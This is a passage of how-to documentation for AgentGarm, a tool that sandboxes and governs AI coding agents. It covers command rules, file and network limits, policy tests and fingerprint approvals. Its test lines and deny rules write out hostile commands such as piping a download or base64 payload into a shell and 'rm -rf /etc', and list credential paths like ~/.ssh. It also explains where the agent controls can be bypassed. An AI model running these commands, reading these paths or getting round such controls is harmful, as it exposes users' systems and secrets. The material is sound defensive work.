dashboard's Overview has one line, “Other AI on this machine”, with the count and a link to the list. The Agents screen has the list in a card of the same name: each runtime or app with its kind, name, version, address or path, listener or code signature, when it was last recorded and its state, unmanaged first. It says “Inventory, not enforcement”: nothing in it is a denial or an alert, and it is kept apart from both. When agentgarmd cannot read its store, the card says “not reported” rather than zero. Open the dashboard agentgarm ui --open 4. Read unmanaged and governed A runtime counts as governed when a governed agent's model call went to it through its proxy route in the last 24 hours. The Cursor app counts as governed when a Cursor task ran in that time, and the Ollama and LM Studio apps when their runtime is governed. The ChatGPT, Claude and Antigravity apps are always unmanaged: their chats pass no AgentGarm control point. Everything here is inventory with no assurance level, and a process running as you can stop the session or pad its reports, so treat the count as a prompt to look, not as evidence. 5. Route an agent's local model calls through the proxy When an agent is set up for a local runtime, agentgarm run points its base URL at the runtime's route on the proxy instead: OPENAI_BASE_URL=http://localhost:11434/v1 becomes http://127.0.0.1:4747/local-ollama/v1. The routes are local-ollama, local-vllm, local-lm-studio and local-llama-cpp. Only the chat completions, responses and model-list paths are forwarded; a runtime's own API, such as pulling or deleting a model, gets 403. The calls are counted per task and priced at zero, and the runtime then shows as governed. Launch an agent set up for Ollama export OPENAI_BASE_URL=http://localhost:11434/v1 agentgarm run -- See also Route other model providers through the proxySend Gemini, Bedrock, Vertex, Azure, OpenRouter, DeepSeek and local-runtime calls through the proxy, accounted, budgeted and checked for secrets. 6. Choose whether model ids are recorded A list of models can reveal what someone works on, so model ids are not recorded by default. To record them, set inventory.record_models: true in default.yaml, the only policy file this section is read from, then restart agentgarmd; the first report after that still has none. What is always recorded is each runtime's kind, version, port and listening program, and each app's id, version, path and code signature. These records stay on the machine for 30 days. The inventory section of default.yaml inventory: record_models: false Lint your default policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/default.yaml See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 7. See the fleet's count in Central Lite An enrolled machine sends Central Lite its counts and the catalog ids of its unmanaged runtimes and apps, never paths, listeners, code signatures, versions or model ids. The console's Inventory shows each machine's count in its Unmanaged AI column and, in the “Unmanaged AI detected” card, the fleet's total, how many machines reported it and each machine's ids. A machine that sent no inventory is shown as not reported, never as zero. The console's Inventory: each machine with its state and actions, then the fleet's figuresSee also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. Next guide: Check for and verify AgentGarm updatesAll how-to guides # Check for and verify AgentGarm updates URL: https://agentgarm.com/docs/how-to/updates Docs › How-to guides › Check for and verify AgentGarm updates Guide 12 of 61 · Getting started Check for and verify AgentGarm updates Find the newest AgentGarm release, check its signature and checksums before you run it, never go back to an older one, and upgrade in place. Find out whether a newer release is out, check its minisign signature and SHA-256 checksums before anything runs, refuse a version older than the one you have, and install it over the old one with a restart. AgentGarm does not update itself: nothing is downloaded or installed until you do it. The first release is not out yet, so until then there is nothing to download or verify. On this page 1.Find the newest release 2.Verify the download before you run it 3.Never go back to an older version 4.Install the new release over the old one 5.Check that the new release is running 6.Verify a TUF repository or mirror 1. Find the newest release The download page names the newest release, its date, whether it is a pre-release and which platforms are code-signed, and lists any withdrawn release with the reason. Once a release is out, the site also serves /download/latest.json, a pointer with the newest version and tag. The pointer is not signed and proves nothing: use only its version, then fetch and check that release's own files below.Until the first release is published, the page says so and none of these files exist. Read the newest version, once a release is out curl -fsS https://agentgarm.com/download/latest.json 2. Verify the download before you run it Every release carries SHA256SUMS over its files and a minisign signature over it by the release key. Check the signature, then your file's SHA-256 against the list, as verify a download shows on each platform; if either check fails, do not run the file. The release key is published with the first release. A key taken from this site cannot catch the site itself being changed, so compare it with a copy from somewhere else. Each release also has feed.json and feed.json.minisig, beside SHA256SUMS in the same release's download folder, signed the same way: its version, tag and commit, which platforms are code-signed, whether it is a pre-release, and every file's SHA-256. A good signature says the release is ours, not that it is the newest or has not been withdrawn. minisign prints the signature's trusted comment, agentgarm v feed.json: check that its version is the one you downloaded. Check the signatures and checksums on Linux minisign -Vm SHA256SUMS -p release-feed.pub minisign -Vm feed.json -p release-feed.pub sha256sum -c SHA256SUMS --ignore-missing 3. Never go back to an older version A validly signed old release still verifies, so the version is your check: refuse one below the highest you have installed, and check that the version in feed.json is the one you meant to fetch. Whoever controls the site could keep showing an old release as the newest, since neither the pointer nor the feed expires, and the withdrawn flag on the download page is not signed. Releases published as signed TUF metadata will add expiry and signed withdrawal; that signing has not been set up yet. 4. Install the new release over the old one No package runs a script, so an upgrade is two moves: install the new package over the old one, then restart the services. On a root install, run sudo agentgarmd install before the restart when the release notes say its service unit changed. Without root, unpack the tarball into its own directory, put its bin first on your PATH, run agentgarm install --user from it and restart. Your policies, the audit log and the store carry over; each install page has the commands for its platform, such as without root. Upgrade a root install on Debian or Ubuntu sudo apt install ./agentgarm_X.Y.Z-1_amd64.deb sudo systemctl restart agentgarmd systemctl --user restart agentgarm-session # as each user Upgrade a no-root install on Linux tar -xzf agentgarm-X.Y.Z-.tar.gz -C ~/.local/opt export PATH="$HOME/.local/opt/agentgarm-X.Y.Z-/bin:$PATH" # and in your shell profile agentgarm install --user systemctl --user restart agentgarmd agentgarm-session 5. Check that the new release is running Until the services restart, the old daemon keeps running, and agentgarm status and agentgarm doctor say it needs a restart. The restarted agentgarmd points the agents' hooks at the new release by itself; agentgarmd hooks status says stale for an agent it has not reached yet. Check the services agentgarm status Run every check agentgarm doctor Check Claude Code's hooks, root install sudo agentgarmd hooks status claude-code Checked by the walk: these commands ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 6. Verify a TUF repository or mirror agentgarm update verify checks a TUF repository directory against a root you pin, the way agentgarmd will before it activates anything from one: each newer root signed by the threshold of the old and the new, then the timestamp, snapshot and targets with their signatures, versions and expiry. Expired metadata is a freeze and fails the check, and a snapshot that lowers the targets version is refused as a rollback. --target also checks one file's length and SHA-256; on success it prints Repository verified with the root version and the targets. AgentGarm's own releases are not yet published as TUF metadata, so today this is for a repository or mirror you sign yourself. Verify a repository and one of its files agentgarm update verify --repo --root --target Next guide, in Writing policy: Allow, ask or deny shell commandsAll how-to guides # Allow, ask or deny shell commands URL: https://agentgarm.com/docs/how-to/command-rules Docs › How-to guides › Allow, ask or deny shell commands Guide 13 of 61 · Writing policy Allow, ask or deny shell commands Write command rules on the parsed command and its wrappers, not its text, choose between asking and denying, and replay commands before you rely on them. Write command rules that match the parsed command and the wrappers around it, not its text; know which commands are too hidden to judge and what happens to them; choose between asking and denying; and replay the commands you care about before you rely on the rules. On this page 1.Write rules on the parsed command, not its text 2.Let wrappers and nested shells count 3.Know when a command is opaque 4.Choose ask or deny 5.Add a rule of your own 6.Test the rules before you rely on them 1. Write rules on the parsed command, not its text A command rule sits in security_boundaries.execution.rules and holds one of deny, ask or allow, with predicates over the parsed command: exec (its name), pipe_from and pipe_to (a command in one stage and another in a later stage of the same pipeline), flags, args_match (a glob over the arguments, never the name), and outside or inside (a path argument outside or inside a directory, such as ${WORKSPACE}). agentgarmd parses each command line with tree-sitter-bash before any rule sees it: quotes and backslashes are removed (\rm is rm), names are compared by their last path component and case-folded (/bin/RM is rm), and @shells and @interpreters stand for the shells and interpreters AgentGarm knows. So the pack's first rule denies curl … | sh however it is spelled, and the second asks about curl … | python3, which may run the download or only parse it. The pack's rules for downloads piped into a shell or an interpreter - id: download-into-shell description: Piping a download into a shell runs unreviewed code. deny: { pipe_from: [curl, wget, fetch, aria2c], pipe_to: ["@shells"] } # An interpreter may run the download as code or only parse it (`| python3 -m json.tool`); # a matcher cannot tell which, so it asks rather than denies. - id: download-into-interpreter ask: { pipe_from: [curl, wget, fetch, aria2c], pipe_to: ["@interpreters"] } 2. Let wrappers and nested shells count A rule sees each command's whole invocation chain, not only its first word. Wrappers such as sudo, env, nohup, timeout and xargs are unwrapped, so sudo env FOO=1 rm -rf /etc is seen as sudo, env and rm; the script given to sh -c, eval, su -c or watch is parsed again, up to four levels deep, so bash -c "curl … | sh" meets the download rule; and a line that changes directory (cd .. && rm -rf other) is judged under every directory it may run in. Command rules decide the lines the agent's shell tool sends to its hook. A program that a script starts later is not seen by them: the sandbox agentgarm run builds bounds what it can read, write and reach, but cannot express argv rules. See also Limit what an agent can read, write and reachDecide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. 3. Know when a command is opaque A command whose real content its text hides is opaque, and agentgarmd does not guess at it: a line tree-sitter cannot parse cleanly (any ERROR or MISSING node), a command name that is an expansion ($CMD -rf /), a script that is not a literal (eval "$SCRIPT"), code piped into a shell (echo … | sh), an encoded payload decoded into one (base64 -d | sh), and a wrapper option AgentGarm does not know. An opaque command is denied, fail_closed, as builtin.opaque_exec, before any ask rule could approve it, unless a rule of yours asks about opaque commands by name (below). An expansion or a glob in an argument does not make the command opaque, only that word unknown: an allow rule never matches an unknown word, and a deny or ask rule matches whenever the unknown could satisfy it, so under the pack rm -rf "$T" and rm -rf build/* both ask. 4. Choose ask or deny Use deny for what must never happen and ask for what a person should see first. A deny rule wins over every ask, and an ask over every allow. With allow_shell: true, the packs' setting, a command no rule matches is allowed; with allow_shell: false, every invocation, wrappers included, must be covered by an allow rule, so allow: {exec: [git]} does not cover sudo git. On a deny rule, on_unknown: ask denies only literal matches and asks when only an unknown word could match: that is how the pack denies tee /dev/sda but asks about tee "$LOG". In enforce mode, Claude Code's hook refuses a denied command with “AgentGarm: denied by policy” (or “AgentGarm: command could not be analysed” for an opaque one), and turns an ask into Claude Code's own permission prompt; on a root install with a presence key enrolled, you approve it in agentgarm presence watch instead. A headless or ephemeral (CI) profile has nobody to ask, so its asks are denied, unless the rule says approval: remote preview and sends it to an approver's passkey (headless machines); in audit mode both are recorded and let through. Hooks are advisory, so command rules are rated at most B, and C until the agent's live compatibility run is recorded on the coverage page. The pack's rule for redirects into a disk, asking on an unknown target # A literal block-device target is denied; a target only known at run time (`> "$OUT"`, # `| tee "$LOG"`) asks instead (`on_unknown: ask`): denying every redirect to a variable # would block ordinary scripts. - id: raw-disk-redirect description: A redirect (the pseudo-command ">") or tee into a block device. deny: { exec: [">", tee], args_match: "/dev/{sd,hd,vd,xvd,nvme,mmcblk,disk,rdisk,loop,dm-,md}*", on_unknown: ask } See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 5. Add a rule of your own Add your rules after the pack's, each with an id: lowercase, unique, and what the audit record and the lint name. flags are compared literally, apart from combined short flags (-fu has -f) and, for deny and ask rules, long options cut to three letters or more (--forc), so each spelling needs a rule of its own, as the pack has for rm -r, -R and --recursive; --force-with-lease is another flag and is not matched. Unknown words can stand in for a flag, so git commit -m "$MSG" may have -c; add literal_flags: true to a deny or ask rule to match only flags written out. The last rule below turns the opaque deny into an ask, so you would approve a command nobody could analyse: add it only if the denies get in your way. Lint the file, then restart agentgarmd so it loads the change, as in the first guide. When a rule blocks someone else's work, they can copy an exception request from the dashboard and send it to you (AgentGarm sends it nowhere); the rule that answers it goes here. Rules to add: force pushes, package publishing and opaque commands # Force-pushing rewrites a shared branch. Flags are compared literally, so each spelling # has a rule of its own (combined short flags still count: -fu has -f). - id: force-push description: Rewriting a shared branch needs a person. ask: { exec: [git], args_match: push, flags: ["--force"] } - id: force-push-short ask: { exec: [git], args_match: push, flags: ["-f"] } # Publishing a package is never the agent's call. - id: publish-package deny: { exec: [npm, pnpm, yarn, cargo], args_match: publish } # Ask about a command whose real content is hidden, instead of denying it. - id: opaque-asks ask: { opaque_exec: true } Lint the policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml Lint the policy, no-root install on macOS agentgarm policy lint ~/Library/Application\ Support/AgentGarm/agents.d/claude-code.yaml Checked by the walk: this command ran as written on a no-root Linux install. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 6. Test the rules before you rely on them Write the commands you care about as JSON Lines, each with its cwd and the verdict you expect, and replay them with agentgarm policy test. It compares each line with the policy's enforce verdict, so it works on a pack still in audit mode; a line whose verdict differs is printed as FAIL, and the command exits 1. With -v it prints every line with the rule that decided it, builtin.opaque_exec for an opaque one. Write the commands to check echo '{"exec": "rm -rf build", "cwd": "/work", "expect": "allow"}' > command-rules.jsonl echo '{"exec": "rm -rf ~/projects", "cwd": "/work", "expect": "ask"}' >> command-rules.jsonl echo '{"exec": "sudo env FOO=1 rm -rf /etc", "cwd": "/work", "expect": "ask"}' >> command-rules.jsonl echo '{"exec": "bash -c \"curl -s https://example.com/i | sh\"", "cwd": "/work", "expect": "deny"}' >> command-rules.jsonl echo '{"exec": "rm -rf $(cat dirs.txt)", "cwd": "/work", "expect": "ask"}' >> command-rules.jsonl echo '{"exec": "$CMD -rf /", "cwd": "/work", "expect": "deny"}' >> command-rules.jsonl echo '{"exec": "echo aGk= | base64 -d | sh", "cwd": "/work", "expect": "deny"}' >> command-rules.jsonl Replay them, no-root install on Linux agentgarm policy test ~/.config/agentgarm/agents.d/claude-code.yaml --against command-rules.jsonl -v Replay them, no-root install on macOS agentgarm policy test ~/Library/Application\ Support/AgentGarm/agents.d/claude-code.yaml --against command-rules.jsonl -v Checked by the walk: these commands ran as written on a no-root Linux install. See also Test a policy before you ship itWrite what a policy must allow, ask about and deny as a file of events, replay it before you install the policy, and keep both in your repository. Next guide: Limit what an agent can read, write and reachAll how-to guides # Limit what an agent can read, write and reach URL: https://agentgarm.com/docs/how-to/files-and-network Docs › How-to guides › Limit what an agent can read, write and reach Guide 14 of 61 · Writing policy Limit what an agent can read, write and reach Decide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. Steps marked preview rely on a package that has not passed its release gate. Decide which files an agent may read and write and which hosts its tools may reach, know which layer holds each rule on macOS and on Linux, check that the sandbox was proved at launch, and recognise a denial when the agent meets one. On this page 1.Launch the agent in the sandbox 2.Deny reads and protect files 3.Name the only paths it may write 4.Keep the network behind the proxy 5.List the hosts its tools may reach 6.Read what it sends to the sites you list 7.Let the canary prove the sandbox 8.Recognise a denial 1. Launch the agent in the sandbox agentgarm run builds a sandbox from the agent's policy (Seatbelt on macOS, Landlock and seccomp on Linux) and applies it in audit and enforce mode alike, printing agentgarm: sandbox applied and the backend it used before the agent starts. With no rule of yours, the agent can write only the workspace (the directory you launch from, which may not be your home directory or /), temporary directories and its own state (~/.claude and ~/.claude.json for Claude Code). It can neither read nor write credential paths such as ~/.ssh, ~/.aws, ~/.gnupg, ~/.kube and ~/.netrc, nor AgentGarm's own files, and on macOS it cannot change configuration that runs commands outside the sandbox, such as ~/.claude/settings.json and .git/hooks. A policy adds to these lists; it cannot remove from them. Run Claude Code in the sandbox agentgarm run -- claude Checked by the walk: this command ran as written on a no-root Linux install, and the output showed agentgarm: sandbox applied. 2. Deny reads and protect files In security_boundaries.filesystem, a deny path is neither read nor written, and a read_only path is read but never written; ~ is your home directory, ${WORKSPACE} the task's workspace, and a glob such as **/.env covers every match. Both lists hold at two layers: the hook, for the agent's file tools (Claude Code's Read, Write and Edit, and Grep, Glob and LS, which are denied when a deny entry lies beneath the directory they search), and the sandbox, for everything the agent runs. On Linux, Landlock can express neither a glob nor a write-only deny inside a writable directory, so there a workspace .env and a read_only path such as ~/.claude/settings.json are held by the hooks alone. The pack's filesystem section filesystem: # Reads of credentials are denied; .env.example and other templates stay readable. deny: - "~/.ssh" - "~/.aws" - "~/.gnupg" - "~/.config/gcloud" - "~/.azure" - "~/.kube/config" - "~/.netrc" - "~/.git-credentials" - "~/.docker/config.json" - "~/.config/gh/hosts.yml" - "**/.env" - "**/.env.local" - "**/.env.*.local" # Configuration that runs commands outside any sandbox: file tools may not change it. read_only: - "~/.claude/settings.json" - "~/.claude/settings.local.json" - "~/.claude/hooks" - "~/.claude/plugins" # installed plugins carry hooks and MCP servers - "${WORKSPACE}/.claude/settings.json" - "${WORKSPACE}/.claude/settings.local.json" - "${WORKSPACE}/.git/hooks" # User persistence: shell startup files, git's global configuration and per-user login # services. File tools are refused here; for agents launched through `agentgarm run` each is # also a sandbox write deny, and where an OS file sentinel runs it refuses any process's write. - "~/.bashrc" - "~/.zshrc" - "~/.profile" - "~/.bash_profile" - "~/.zprofile" - "~/.gitconfig" - "~/Library/LaunchAgents" - "~/.config/systemd/user" on_internal_error: fail_closed checkpoint: per_task 3. Name the only paths it may write read_write lists the paths that may be written. File tools are then denied a write anywhere else, temporary files included, and under agentgarm run the list replaces the workspace among the sandbox's write roots, so list ${WORKSPACE} if the agent should still write there. The launcher refuses an entry that is /, your home directory or a directory above it, or one that holds or lies inside AgentGarm's own files. A read_only entry inside a read_write entry still wins, at the hook and in the macOS sandbox, so the agent can write the workspace but not its .github/workflows. The packs leave read_write out on purpose: the sandbox already confines writes, and the list turns every other write into a deny at the hook. A policy that names its write roots, protects a directory inside one and denies more paths filesystem: # File tools may write only here, and under `agentgarm run` these replace the workspace # among the sandbox's write roots (temporary directories and the agent's own state stay). read_write: - "${WORKSPACE}" - "~/agent-scratch" # Read but never written, even inside a read_write entry. read_only: - "${WORKSPACE}/.github/workflows" # Neither read nor written. deny: - "~/.ssh" - "${WORKSPACE}/secrets" - "**/*.pem" on_internal_error: fail_closed 4. Keep the network behind the proxy Inside the sandbox the agent's one TCP destination is agentgarm-session's proxy on loopback, and on macOS it cannot even resolve a name, so a direct connection fails. The proxy forwards model calls on its inspected routes and carries other HTTPS (package registries, git, web fetches) as CONNECT tunnels. It refuses a tunnel to a loopback, link-local (cloud metadata), private or CGNAT address, to a model provider's API host, which must take its inspected route (raising DIRECT_PROVIDER_EGRESS), and to a subscription back end such as claude.ai. On Linux, Landlock limits connections by port only, and only from Linux 6.7, so an agent there can reach another host on the proxy's port directly, and Linux egress is rated C. 5. List the hosts its tools may reach network.allowed_endpoints lists the host names, or host:port pairs, the agent may connect to: a host alone matches on any port, host:port on that port only, and a subdomain needs its own entry (github.com does not cover api.github.com). agentgarmd checks against it each connection an agent's tool reports to its hook, such as the URL of Claude Code's WebFetch, and every tunnel through the proxy: agentgarm-session has it decide each CONNECT against the policy of the task whose process opened it, so a command such as curl or git is refused a host the list leaves out, after the refusals of the step above. Model calls take the proxy's inspected routes, not tunnels, so the list need not name your provider. If agentgarmd cannot answer, the tunnel goes ahead and the session logs it. On Linux, the list holds only for what goes through the proxy. The packs ship without a list, which would cost false denies before it bought anything. An endpoint list network: allowed_endpoints: - "api.anthropic.com" - "github.com" - "docs.rs:443" - "webhook.site" 6. Read what it sends to the sites you list preview allowed_endpoints decides which hosts a tool may reach; network.inspect, beside it, lists the reachable ones whose requests agentgarm-session should also read for secrets, such as paste sites and webhooks. A tunnel is decided against the list first, and only then, for a listed site, opened and read: a site allowed_endpoints leaves out is never reached, so it is never inspected, and agentgarmd warns about such an entry when it loads the policy. Inspection reads the request's path, query and body in memory, never the response, and in Block mode stops a request that carries a secret. It applies only to agents started with agentgarm run, and on Linux it is rated C, as egress is. Inspect one of the reachable hosts # Of the hosts above, read what is sent to this one for secrets (the outbound-inspection # guide). A listed host the list above leaves out is never reached, so never inspected. inspect: hosts: [webhook.site] mode: audit See also Check what agents upload to paste sites and webhooksHave AgentGarm read what launched agents send to paste sites, file sharing and webhooks, record or stop secrets, and fix tools that refuse its certificate. 7. Let the canary prove the sandbox Every agentgarm run first starts a canary inside the very sandbox it built, which must be refused a read of a denied file, a write into a denied directory and, where the kernel limits TCP, a connection to a loopback port the launcher listens on. Only the operating system's refusal counts, and a probe that gets through refuses the launch. The canary then checks containment: that the agent cannot signal the launcher, reach SSH on loopback or use agentgarm-session's console, and on Linux that no ssh-agent, gpg-agent, D-Bus or display socket is reachable. A failed containment check does not stop the launch: the launcher prints it and the task is demoted to C (so a Linux desktop session with those sockets is C), which agentgarm status shows beside the task. agentgarm doctor checks the sandbox backend (Seatbelt, or Landlock among the active security modules), but the canary decides at every launch. Check each task's assurance level agentgarm status Check the sandbox backend agentgarm doctor Checked by the walk: these commands ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 8. Recognise a denial In enforce mode, a file tool or fetch the hook refuses gets a short reason, never the rule: Claude Code sees “AgentGarm: file access denied by policy”, “AgentGarm: file is read-only by policy”, “AgentGarm: write outside the allowed paths” or “AgentGarm: endpoint not allowed by policy”. The sandbox refuses in either mode, as the operating system: a read or write fails with “Operation not permitted” on macOS, and with “Permission denied” or “Operation not permitted” on Linux, and a refused tunnel gets HTTP 403 from the proxy (a tunnel to a host outside allowed_endpoints only in enforce mode). The dashboard's “Denied or asked” shows the rule id and the full reason of each hook denial. Open the dashboard agentgarm ui --open Next guide: Test a policy before you ship itAll how-to guides # Test a policy before you ship it URL: https://agentgarm.com/docs/how-to/test-policy Docs › How-to guides › Test a policy before you ship it Guide 15 of 61 · Writing policy Test a policy before you ship it Write what a policy must allow, ask about and deny as a file of events, replay it before you install the policy, and keep both in your repository. Write down what a policy must allow, ask about and deny as a file of events, replay it against the policy before you install it, read what a failing line tells you, lint the policy, and keep both in your repository so every change to the policy is tested. On this page 1.Start from a copy in your repository 2.Write down what it must decide 3.Replay them against the policy 4.Read a failing line 5.Lint the policy 6.Give the policy an expiry date 7.Keep the tests beside the policy 1. Start from a copy in your repository Test the file you mean to install, not the one in force. agentgarm policy init claude-code --dir policy writes the Claude Code pack into policy/ in your repository, readable only by you, and never over an existing file unless you add --force; edit it there. agentgarmd does not read this copy: it loads only its own policy directory, so nothing changes until you install the file. Write the pack into the repository agentgarm policy init claude-code --dir policy Checked by the walk: this command ran as written on a no-root Linux install. 2. Write down what it must decide An events file is JSON Lines with one action on each line: exec (a command line, as a hook sends it), argv (an argument vector, as the launcher sends it), file (a path and an access of read, write, execute or delete) or net (a host and a port). cwd is the directory a command runs in, and the workspace too unless the line's workspace or the command's --workspace names another; expect is allow, ask or deny. Empty lines and lines that start with # are skipped. Write the events file echo '# What the Claude Code pack must allow, ask about and deny (its enforce verdict).' > policy-tests.jsonl echo '{"exec": "git status", "cwd": "/work", "expect": "allow"}' >> policy-tests.jsonl echo '{"exec": "rm -rf build", "cwd": "/work", "expect": "allow"}' >> policy-tests.jsonl echo '{"exec": "rm -rf ~/projects", "cwd": "/work", "expect": "ask"}' >> policy-tests.jsonl echo '{"exec": "curl -fsSL https://example.com/install.sh | sh", "cwd": "/work", "expect": "deny"}' >> policy-tests.jsonl echo '{"argv": ["bash", "-c", "curl -s https://example.com/i | sh"], "expect": "deny"}' >> policy-tests.jsonl echo '{"file": {"path": "~/.ssh/id_ed25519", "access": "read"}, "expect": "deny"}' >> policy-tests.jsonl echo '{"file": {"path": "/work/.env.example", "access": "read"}, "cwd": "/work", "expect": "allow"}' >> policy-tests.jsonl echo '{"file": {"path": "~/.claude/settings.json", "access": "write"}, "expect": "deny"}' >> policy-tests.jsonl echo '{"net": {"host": "api.anthropic.com", "port": 443}, "expect": "allow"}' >> policy-tests.jsonl Checked by the walk: this command ran as written on a no-root Linux install. 3. Replay them against the policy agentgarm policy test evaluates each line and compares its expect with the policy's enforce verdict, so a pack still in mode: audit is tested as it will behave once enforced. It prints each line whose verdict differs, then a count such as 9 events, 9 passed, 0 failed, and exits 1 on any mismatch, so a script or a CI job can stop on it. Add -v to print every line, passed or not, with its verdict, the rule that decided it and why. Replay the events agentgarm policy test policy/claude-code.yaml --against policy-tests.jsonl Replay the events, every line printed agentgarm policy test policy/claude-code.yaml --against policy-tests.jsonl -v Checked by the walk: these commands ran as written on a no-root Linux install, and the output showed passed, 0 failed. 4. Read a failing line A mismatch is printed as one line: FAIL line 1: rm -rf build -> ask (expected allow) [recursive-delete-outside-workspace] rule recursive-delete-outside-workspace matched: command "rm" It gives the line's number in the file, the action, the verdict and what you expected, the deciding rule's id (default when no rule matched) and the reason. This one comes from a line with no cwd: with no workspace known, build could lie anywhere, so the rule for recursive deletes outside the workspace asks. Decide which side is wrong, the line (here, add "cwd": "/work") or the rule, fix it, and replay again. Replay a line that fails echo '{"exec": "rm -rf build", "expect": "allow"}' > try.jsonl agentgarm policy test policy/claude-code.yaml --against try.jsonl 5. Lint the policy agentgarm policy lint reports what a replay cannot show: a rule another rule has shadowed, a duplicate, a conflict between two rules with the same predicates, an allow rule that can never apply (unreachable_allow) and a policy that would deny everything (deny_all, an error). It ends with a count such as claude-code: 1 findings, 0 errors and exits 1 on any error; the pack's one finding is audit_mode, information that nothing is denied yet. Before you switch a policy to enforce, also replay your own history against it with --blast-radius. Lint the copy agentgarm policy lint policy/claude-code.yaml Checked by the walk: this command ran as written on a no-root Linux install, and the output showed findings, 0 errors. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 6. Give the policy an expiry date A policy can say when it goes stale, so a copy nobody reviews does not stay in force for ever. valid_until is an RFC 3339 time with its UTC offset, quoted in YAML, and stale_policy says what happens after it: alert, the default, keeps enforcing the policy and records an alert; audit turns it to audit mode, so nothing it would deny is blocked; deny denies every decision it governs (builtin.stale_policy), enforced by agentgarmd. agentgarmd judges the date against its trusted time, which setting the clock back cannot lower, and agentgarm status marks the policy STALE. A replay does not read the clock, so agentgarm policy test judges the rules as if the policy were fresh. Separately, unattributable: deny denies a call agentgarmd cannot tie to a governed task, where the default, observe_alert, records it and lets it through. A policy that denies once it is stale valid_until: "2027-01-31T00:00:00Z" stale_policy: deny 7. Keep the tests beside the policy Commit the policy and its events file together, and replay them wherever the policy changes, in a pre-commit hook or a CI job. ~ in a line resolves against --home (by default $HOME), so pass the same --home everywhere and every machine judges ~/.ssh alike; a cwd such as /work need not exist, since nothing is run. AgentGarm's own packs are held to two such files: tests/policy-packs/everyday-v1.jsonl, everyday work every pack must allow, and guarded-v1.jsonl, what every pack must stop. To put a tested policy in force, copy it into your policy directory and restart agentgarmd, as in the first guide. Keep the events beside the policy and replay them mv policy-tests.jsonl policy/claude-code.test.jsonl agentgarm policy test policy/claude-code.yaml --against policy/claude-code.test.jsonl --home /home/dev Checked by the walk: this command ran as written on a no-root Linux install. Next guide: Approve risky actions with Touch IDAll how-to guides # Approve risky actions with Touch ID URL: https://agentgarm.com/docs/how-to/approvals Docs › How-to guides › Approve risky actions with Touch ID Guide 16 of 61 · Writing policy Approve risky actions with Touch ID Enrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. Steps marked preview rely on a package that has not passed its release gate. Enrol a Touch ID key on your Mac, keep the presence watcher running, and approve each command your policy asks about with your fingerprint: the prompt shows exactly what will run, the approval is good for that one call, and nothing the agent does on its own can give it. Not walked: the walk runs on Linux, which has no Secure Enclave or Touch ID. What CI checks instead is agentgarmd's root presence suites on Linux: the self-approval red-team suite, signing with FIDO2-format software keys, and enrolment and approval end to end through the real agentgarm CLI with a stand-in FIDO2 tool. Neither uses the Secure Enclave; a run on a Mac with Touch ID is still to be recorded. On this page 1.Enrol a Touch ID key 2.Keep the presence watcher running 3.Read what the prompt shows 4.Approve with your fingerprint, or refuse 5.Re-enrol after a fingerprint change 6.Replace or retire a key when a Mac is lost or a person leaves 7.Require presence on a rule 8.Approve with a security key on Linux or a Mac without Touch ID 1. Enrol a Touch ID key Presence approvals need a root install. An administrator first opens a 5-minute enrolment window for you with sudo agentgarm enrol --open; it admits one key, and agentgarmd refuses to open one from inside a governed task. Then, as yourself, run agentgarm enrol: it creates a Secure Enclave key that signs only after a Touch ID match, and agentgarmd binds it to your user and records the enrolment in the audit log. On a machine enrolled in Central Lite preview, an administrator can issue you a presence enrolment grant instead of opening the window with root (enrol developer machines). A Mac without Touch ID uses a FIDO2 security key, as in the last step. A no-root install has no presence boundary, since agentgarmd runs as the same user as the agent. There every presence request is refused, and an ask falls back to the agent's own prompt, or is denied where the agent has none. Enrol a Touch ID key, root install on macOS sudo agentgarm enrol --open "$USER" # an administrator opens the window agentgarm enrol # you create and enrol the key, within 5 minutes 2. Keep the presence watcher running agentgarm presence watch receives your approval requests one at a time and asks for Touch ID. Start it in a terminal of your own, outside any agent: agentgarmd refuses it to a process inside a governed task, so an agent never sees what is waiting. To see your key's state and the requests still waiting for a signature, open the dashboard's Approvals screen; it is read-only, and approving happens only in the watcher. agentgarm doctor also reports whether your key is enrolled, revoked or missing. To have the watcher start by itself preview, an administrator runs sudo agentgarmd install --presence-watch: it starts in each desktop login session (a LaunchAgent on macOS, a systemd user unit on Linux), never in an SSH session, and exits quietly while you have no key. Start the watcher agentgarm presence watch Open the dashboard's Approvals screen agentgarm ui --open Check your presence key agentgarm doctor The dashboard's Approvals screen, with the presence key's state and the requests waiting for it 3. Read what the prompt shows With a key enrolled, when the policy asks about a call, such as sudo in the default Claude Code pack, the hook denies it for now and tells the agent to confirm the prompt in agentgarm presence watch, then retry. The Touch ID prompt reads “approve for AgentGarm:” followed by the command exactly as it will run, in order, with secrets replaced. Newlines, escape sequences and characters that hide or reorder text are shown as \u{..} escapes, and a request longer than 512 characters is refused rather than cut short. Only agentgarmd's own verdict of ASK issues a prompt, so no process can make you see one of its choosing. An approval prompt showing the exact command, waiting for a fingerprint 4. Approve with your fingerprint, or refuse Touch the sensor to approve: the watcher prints approved: with the command, and the agent's retry of exactly that call, in that task, is allowed once and recorded with the approval. Cancel the prompt to refuse (declined:), or do nothing: the request expires after 30 seconds and the call stays denied. A click on a local dialog is not enough, because the agent runs as you and could produce one. Touch ID is the only accepted factor, with no password fallback, and a synthetic event cannot produce a fingerprint match. The signature covers this one request, so it cannot be replayed or moved to another command. For sessions started with agentgarm run, the sandbox keeps the agent away from the key and the watcher, and approvals rate B; hooks-only sessions rate C. Each approval covers one call. Where a rule allows it, agentgarm 